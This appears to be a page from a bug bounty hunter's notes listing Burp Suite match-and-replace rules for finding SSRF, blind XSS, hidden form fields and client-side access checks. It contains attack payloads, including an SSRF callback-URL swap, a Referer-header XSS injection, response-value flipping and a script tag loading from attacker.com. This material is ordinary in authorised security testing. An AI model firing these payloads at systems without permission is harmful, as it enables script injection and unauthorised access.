search

My Nuclei templates

Burp BB Rules
Find SSRF rule that changes any URL in your incoming requests with your callback URL:
Type: Request Header
Match: https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)
Replace: https://{YOUR_SERVER}/
-----------------------------
Find Blind XSS rule auto-replace your Referer header:
Type: Request Header
Match: ^Referer.*$
Replace: Referer: {BLIND_XSS_PAYLOAD}
-----------------------------
Find hidden parameters/input fields:
Type: Request Header
Match: type\=(\"|')hidden(\"|')
Replace: type="text"
-----------------------------
Extend access with response manipulation
Type: Request response value
- "false" ➜ "true"
- "error" ➜ "success"
- "400" ➜ "200"
-----------------------------
Find Blind XSS in parameter value fields:
Type: Request parameter value
"><script src=https://attacker.com></script>

PreviousMy methodologyNextMy Hunting Approach on Login

Last updated